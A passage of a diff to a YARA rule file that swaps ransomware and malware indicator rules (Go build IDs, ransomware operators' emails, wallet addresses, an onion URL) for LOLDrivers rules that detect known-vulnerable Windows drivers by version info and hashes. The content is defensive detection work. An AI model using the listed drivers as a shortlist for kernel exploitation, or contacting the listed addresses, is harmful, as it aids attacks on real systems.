+		hash = "50d5eaa168c077ce5b7f15b3f2c43bd2b86b07b1e926c1b332f8cb13bd2e0793"
+		hash = "9c10e2ec4f9ef591415f9a784b93dc9c9cdafa7c69602c0dc860c5b62222e449"
+		hash = "6f1ff29e2e710f6d064dc74e8e011331d807c32cc2a622cbe507fd4b4d43f8f4"
+		hash = "cd4a249c3ef65af285d0f8f30a8a96e83688486aab515836318a2559757a89bb"
+		hash = "d8b58f6a89a7618558e37afc360cd772b6731e3ba367f8d58734ecee2244a530"
+		hash = "3f2fda9a7a9c57b7138687bbce49a2e156d6095dddabb3454ea09737e02c3fa5"
+		hash = "fd8669794c67b396c12fc5f08e9c004fdf851a82faf302846878173e4fbecb03"
+		hash = "9529efb1837b1005e5e8f477773752078e0a46500c748bc30c9b5084d04082e6"
+		hash = "f088b2ba27dacd5c28f8ee428f1350dca4bc7c6606309c287c801b2e1da1a53d"
+		hash = "131d5490ceb9a5b2324d8e927fea5becfc633015661de2f4c2f2375a3a3b64c6"
+		hash = "e3936d3356573ce2e472495cd3ce769f49a613e453b010433dafce5ea498ddc2"
+		hash = "89b0017bc30cc026e32b758c66a1af88bd54c6a78e11ec2908ff854e00ac46be"
+		hash = "18776682fcc0c6863147143759a8d4050a4115a8ede0136e49a7cf885c8a4805"
+		hash = "7893307df2fdde25371645a924f0333e1b2de31b6bc839d8e2a908d7830c6504"
+		hash = "79e2d37632c417138970b4feba91b7e10c2ea251c5efe3d1fc6fa0190f176b57"
+		hash = "952199c28332bc90cfd74530a77ee237967ed32b3c71322559c59f7a42187dc4"
+		hash = "101402d4f5d1ae413ded499c78a5fcbbc7e3bae9b000d64c1dd64e3c48c37558"
+		hash = "39cfde7d401efce4f550e0a9461f5fc4d71fa07235e1336e4f0b4882bd76550e"
+		hash = "85866e8c25d82c1ec91d7a8076c7d073cccf421cf57d9c83d80d63943a4edd94"
+		hash = "b7a20b5f15e1871b392782c46ebcc897929443d82073ee4dcb3874b6a5976b5d"
+		hash = "d92eab70bcece4432258c9c9a914483a2267f6ab5ce2630048d3a99e8cb1b482"
+		hash = "984a77e5424c6d099051441005f2938ae92b31b5ad8f6521c6b001932862add7"
+		hash = "e005e8d183e853a27ad3bb56f25489f369c11b0d47e3d4095aad9291b3343bf1"
+		hash = "a961f5939088238d76757669a9a81905e33f247c9c635b908daac146ae063499"
+		hash = "a9706e320179993dade519a83061477ace195daa1b788662825484813001f526"
+		hash = "47f0cdaa2359a63ad1389ef4a635f1f6eee1f63bdf6ef177f114bdcdadc2e005"
+		hash = "38fa0c663c8689048726666f1c5e019feaa9da8278f1df6ff62da33961891d2a"
+		hash = "ef86c4e5ee1dbc4f81cd864e8cd2f4a2a85ee4475b9a9ab698a4ae1cc71fbeb0"
+		logic_hash = "762965fc7a01b572f1eee45df3f84a13ac185b7a9cbba9b04c285c2e798353e0"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$s1 = "Go build ID: \"a3629ee6ab610a57f242f59a3dd5e5f6de73da40\"" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c00690062 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002d00320030003000390020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and 1 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_Gobuildid_Hive : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Ncrcorporation_Radhwmgrsys_Ncrcorporationhardwaremanagerdriver_7C8A : FILE
 {
 	meta:
-		description = "Detects Golang Build IDs in Hive ransomware"
-		author = "ditekSHen"
-		id = "7d7f7757-de7b-52a7-aab0-8fda38a86fd1"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L1645-L1653"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f311a3661ea3a26ebca6cd283d1e219011acfdfbb13fa8b919ca2724b9f4aae7"
-		score = 75
-		quality = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - RadHwMgr.sys"
+		author = "Florian Roth"
+		id = "4d44aa9c-4f6d-5d70-886d-43a602c1d6d0"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2093-L2112"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "7c8ad57b3a224fdc2aac9dd2d7c3624f1fcd3542d4db804de25a90155657e2cc"
+		logic_hash = "cc7c365f36d9c7fc0367b57f9d5b24004c8c4453e0ed227941623c6057fce39a"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$s1 = "Go build ID: \"XDub7DGmWVQ2COC6W4If/XHMqRPf2lnJUiVkG1CR6/u_MaUU0go2UUmLb_INuv/WrZSyz-WMW1st_NaM935\"" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00520061006400690061006e00740020004800610072006400770061007200650020004d0061006e006100670065007200200066006f007200200050003100350078007800200050006c006100740066006f0072006d }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e0043005200200043006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e00330033002e0030002e00300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00330033002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00520061006400480077004d00670072002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e0043005200200043006f00720070006f0072006100740069006f006e0020004800610072006400770061007200650020004d0061006e00610067006500720020006400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00520061006400480077004d00670072002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0032003000300032002d0032003000310038004e0043005200200043006f00720070006f0072006100740069006f006e }
 
 	condition:
-		uint16(0)==0x5a4d and 1 of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_Gobuildid_Nodachi : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avaluetechnologyinc_Avalueio_Avalueio_A5A4 : FILE
 {
 	meta:
-		description = "Detects Golang Build IDs in Nodachi"
-		author = "ditekSHen"
-		id = "9d578768-7995-5fb0-8bf1-9c2221cdef80"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L1655-L1666"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "177269623e0f3850c37c6b203d9a637fa92c0ed3fa823cc8d885f28cb383bf7d"
-		score = 75
-		quality = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - avalueio.sys"
+		author = "Florian Roth"
+		id = "e0e5d6b9-6e7e-5955-b7f0-a4c331fb19fc"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2115-L2135"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "a5a4a3c3d3d5a79f3ed703fc56d45011c21f9913001fcbcc43a3f7572cff44ec"
+		hash = "defde359045213ae6ae278e2a92c5b4a46a74119902364c7957a38138e9c9bbd"
+		logic_hash = "ec187ba5aadc7b9395008155d4b6331b099b3ae9e3ab738568a9980b3d0ce448"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$s1 = "Go build ID: \"3AAyhKK0wFfCYLdz5oRV/zKyiBHCsAEyDIWhaW5AW/Rb8NLT3q8A2OLm6izDGP/8G9k_gjOTX_PXKna_IMj\"" ascii
-		$s2 = "Go build ID: \"-eyFd8kbpwxUsutpqZn_/vqzQXX5Ra4qk1XHoqocW/wd-6gLzQKZyEyhVp7qOj/Jr14hyc7pLLgeIZNbfLD\"" ascii
-		$s3 = "Go build ID: \"xDSqp4KGmd0SAf5irMGh/-kA7PGjKoJcvCgsZDStn/lHeQ1LQOVyQB2NnwIwFP/-D5oEBc23ND7IGLTESdM\"" ascii
-		$s4 = "Go build ID: \"67RcwNspLH__QJrElMcB/zMJf7Go1s0ZoXqd30Lb_/NaJl4rfcuLEG5LeZ-Y4k/MzFNvW79enRRdx3LmA47\"" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100760061006c007500650049004f0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0020004100760061006c0075006500200054006500630068006e006f006c006f0067007900200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e00300030002e00300032002e00300030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00300030002e00300032002e00300030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100560041004c005500450049004f }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100760061006c007500650049004f0020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100560041004c005500450049004f002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020006300200032003000310036 }
 
 	condition:
-		uint16(0)==0x5a4d and 1 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_Gobuildid_Gobrut : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Asustekcomputerinc_Bsdefsys_Supportsstsfssteeatftatcamfntamfnbvctvcbmftwc_5F5E : FILE
 {
 	meta:
-		description = "Detects Golang Build IDs in GoBrut"
-		author = "ditekSHen"
-		id = "65953012-fc84-50d0-b769-64df66d8a54b"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L1668-L1676"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "40c305f019cb31222fa75a24315764cb5e5356afaa72aefb59916d615a8fca28"
-		score = 75
-		quality = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Bs_Def.sys"
+		author = "Florian Roth"
+		id = "e4e1fc9a-b453-5996-8675-7accb0de023e"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2138-L2160"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "5f5e5f1c93d961985624768b7c676d488c7c7c1d4c043f6fc1ea1904fefb75be"
+		hash = "3326e2d32bbabd69feb6024809afc56c7e39241ebe70a53728c77e80995422a5"
+		hash = "0040153302b88bee27eb4f1eca6855039e1a057370f5e8c615724fa5215bada3"
+		hash = "36b9e31240ab0341873c7092b63e2e0f2cab2962ebf9b25271c3a1216b7669eb"
+		logic_hash = "bc91d83188674f0b81615a983aa92e905c878afa3040b4895778222249db8929"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$s1 = "Go build ID: \"sf_2_ylcjquGBe4mQ99L/aPvdLbM2z9HfoDN3RazG/8bhYeVA67N-ifbDYCDJe/UZzCu_EFL9f10gSfO4L0\"" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00440065006600610075006c0074002000420049004f005300200046006c0061007300680020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100730075007300540065006b00200043006f006d0070007500740065007200200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003200340020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00320034 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00420073005f00440065006600360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0053007500700070006f0072007400200053005300540033003900530046003000320030002c0053005300540032003900450045003000320030002c004100540034003900460030003000320054002c00410054003200390043003000320030002c0041004d003200390046003000300032004e0054002c0041004d003200390046003000300032004e0042002c0056003200390043003500310030003000320054002c0056003200390043003500310030003000320042002c004d0032003900460030003000320054002c0057003200390043003000320030002e }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00420073005f00440065006600360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004100730075007300540065006b00200043006f006d00700075007400650072002e00200031003900390032002d0032003000300034 }
 
 	condition:
-		uint16(0)==0x5a4d and 1 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_Gobuildid_Biopassdropper : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Novellinc_Novellxtier_F27F : FILE
 {
 	meta:
-		description = "Detects Golang Build IDs in BioPass dropper"
-		author = "ditekSHen"
-		id = "b82d34d9-7774-5f99-9d76-b5426e015981"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L1678-L1686"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "3b586e886b9f901dde1c73aa07ce0d45e4ff417459f298094359ec1c1e02e522"
-		score = 75
-		quality = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - libnicm.sys"
+		author = "Florian Roth"
+		id = "73d525b8-d109-5872-8841-b1c5149f732e"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2163-L2186"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "f27febff1be9e89e48a9128e2121c7754d15f8a5b2e88c50102cecee5fe60229"
+		hash = "8138b219a2b1be2b0be61e5338be470c18ad6975f11119aee3a771d4584ed750"
+		hash = "e16dc51c51b2df88c474feb52ce884d152b3511094306a289623de69dedfdf48"
+		hash = "e6056443537d4d2314dabca1b9168f1eaaf17a14eb41f6f5741b6b82b3119790"
+		hash = "ab0925398f3fa69a67eacee2bbb7b34ac395bb309df7fc7a9a9b8103ef41ed7a"
+		hash = "da11e9598eef033722b97873d1c046270dd039d0e3ee6cd37911e2dc2eb2608d"
+		logic_hash = "0395f7d17d51104b09a35065dcebf608ae8a60fde71c22c1f6d414c2fd0c7cc9"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$s1 = "Go build ID: \"OS0VlkdEIlcl3WDDr9Za/_oVwEipaaX6V4mEEYg2V/PytlyeIYgV65maz4wT2Y/IQvgbHv3bbLV42i10qq2\"" ascii
-
-	condition:
-		uint16(0)==0x5a4d and 1 of them
-}
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Rhysida
-{
-	meta:
-		description = "Detects files referencing identities associated with Rhysida ransomware"
-		author = "ditekShen"
-		id = "7ee0fb41-9267-5b65-ada3-229f2e390da6"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L1688-L1697"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e3e07bab2982a30a5372e6708ede6707d132d410aa5b5b1a29bdb5d06910a88e"
-		score = 75
-		quality = 71
-		tags = ""
-
-	strings:
-		$s1 = "SethZemlak@onionmail.org" ascii wide nocase
-		$s2 = "JacquieKunze@onionmail.org" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c0020005800540043004f004d0020005300650072007600690063006500730020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e00310031002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e00310031 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006c00690062006e00690063006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310033002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Payola
+rule LOLDRIVERS_PUA_VULN_Driver_Almicosoftware_Sfdrvxsys_Speedfan_X_965D : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with Payola ransomware"
-		author = "ditekShen"
-		id = "7c1fc06b-fc71-5679-befd-686b2e05e3a4"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L1699-L1708"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "568141c03d14faef0cfc4f5fbdec45a5109a1ad5cbbe99e76a1db86e7ef4dc5d"
-		score = 75
-		quality = 71
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - sfdrvx64.sys"
+		author = "Florian Roth"
+		id = "74533a7c-1b5b-5840-843c-455fc73c4e19"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2189-L2208"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "965d4f981b54669a96c5ab02d09bf0a9850d13862425b8981f1a9271350f28bb"
+		logic_hash = "e5ba23bf3914d121647d6b7aef5ec81d9d62af56397e152fb39179349f1f6146"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "pcsupport@skiff.com" ascii wide nocase
-		$s2 = "pctalk01@tutanota.com" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0053007000650065006400460061006e00200078003600340020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006c006d00690063006f00200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00580032002e00300031002e00300037 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00580032002e00300031002e00300037 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00730066006400720076007800360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0053007000650065006400460061006e }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00730066006400720076007800360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200041006c006d00690063006f00200053006f00660074007700610072006500200032003000300031002d0032003000310031 }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Xorist
+rule LOLDRIVERS_PUA_VULN_Driver_Novellinc_Novellxtier_5A66 : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with Xorist ransomware"
-		author = "ditekShen"
-		id = "151d182c-c60a-54dd-a3d2-b32d27521b57"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L1710-L1723"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5975a730ad1a1f7e54e95ec5897aa2940ccc3ed1aa8e83b38cb7ac836c233208"
-		score = 75
-		quality = 67
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nscm.sys"
+		author = "Florian Roth"
+		id = "ba5a060c-e889-5f23-9938-7fbfceaae7af"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2211-L2234"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "5a661e26cfe5d8dedf8c9644129039cfa40aebb448895187b96a8b7441d52aaa"
+		hash = "fb81b5f8bf69637dbdf050181499088a67d24577587bc520de94b5ee8996240f"
+		hash = "202d9703a5b8d06c5f92d2c5218a93431aa55af389007826a9bfaaf900812213"
+		hash = "76660e91f1ff3cb89630df5af4fe09de6098d09baa66b1a130c89c3c5edd5b22"
+		hash = "2e665962c827ce0adbd29fe6bcf09bbb1d7a7022075d162ff9b65d0af9794ac0"
+		hash = "b0b6a410c22cc36f478ff874d4a23d2e4b4e37c6e55f2a095fc4c3ef32bcb763"
+		logic_hash = "ebc8dd2d213b0ff084b8537cc50d7bc2ba692b103251dfc976cad1d2767fc5e3"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "@root_backdoor_synaptics_V" ascii wide nocase
-		$s2 = "@DosX_Plus" ascii wide nocase
-		$s3 = "@Cinoshi_Adm" ascii wide nocase
-		$s4 = "@ac3ss0r" ascii wide nocase
-		$s5 = "MCwRK1Z7K4GYHt9ZrbTR2SMCEqzqQaTbRF" ascii wide
-		$s6 = "0x334F093c9De6552AF4cC0B252dA82aC77FeB467D" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c002000580054006900650072002000530065007300730069006f006e0020004d0061006e0061006700650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e00310031002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e00310031 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00730063006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310033002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Blackhunt
+rule LOLDRIVERS_PUA_VULN_Driver_Panyazilimbilisimteknolojileriticltdsti_Panioxsys_Paniolibrary_6B83 : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with BlackHunt ransomware"
-		author = "ditekShen"
-		id = "87613fcc-7d9a-57ba-9653-c48760dd5ef0"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L1725-L1739"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6b875d4abdedc8032f89ab3cbdf4acdc855d83b5bcc08f96b2fbc38b4a5daa7f"
-		score = 75
-		quality = 61
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PanIOx64.sys"
+		author = "Florian Roth"
+		id = "c5eec4c9-0210-5e0e-b819-96a6943f270d"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2237-L2256"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "6b830ea0db6546a044c9900d3f335e7820c2a80e147b0751641899d1a5aa8f74"
+		logic_hash = "d6d95fe0d738012ca0643f478c59accd2d1e47742a502f5fea65040e59e9f42a"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "onion746@onionmail.com" ascii wide nocase
-		$s2 = "amike1096@gmail.com" ascii wide nocase
-		$s3 = "decryptyourdata@msgsafe.io" ascii wide nocase
-		$s4 = "decryptyourdata@onionmail.org" ascii wide nocase
-		$s5 = "Teikobest@gmail.com" ascii wide nocase
-		$s6 = "Loxoclash@gmail.com" ascii wide nocase
-		$s7 = "://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00540065006d0070006500720061007400750072006500200061006e0064002000730079007300740065006d00200069006e0066006f0072006d006100740069006f006e0020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00500061006e002000590061007a0069006c0069006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00500061006e0049004f007800360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500061006e0049004f0020004c006900620072006100720079 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00500061006e0049004f007800360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000310032002d0032003000310034002000500061006e002000590061007a0069006c0069006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_Reflectiveloader : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_82FB : FILE
 {
 	meta:
-		description = "Detects Reflective DLL injection artifacts"
-		author = "ditekSHen"
-		id = "b7bd9184-48f8-5ad8-a234-632e4ec9814d"
-		date = "2024-06-08"
-		modified = "2024-06-08"
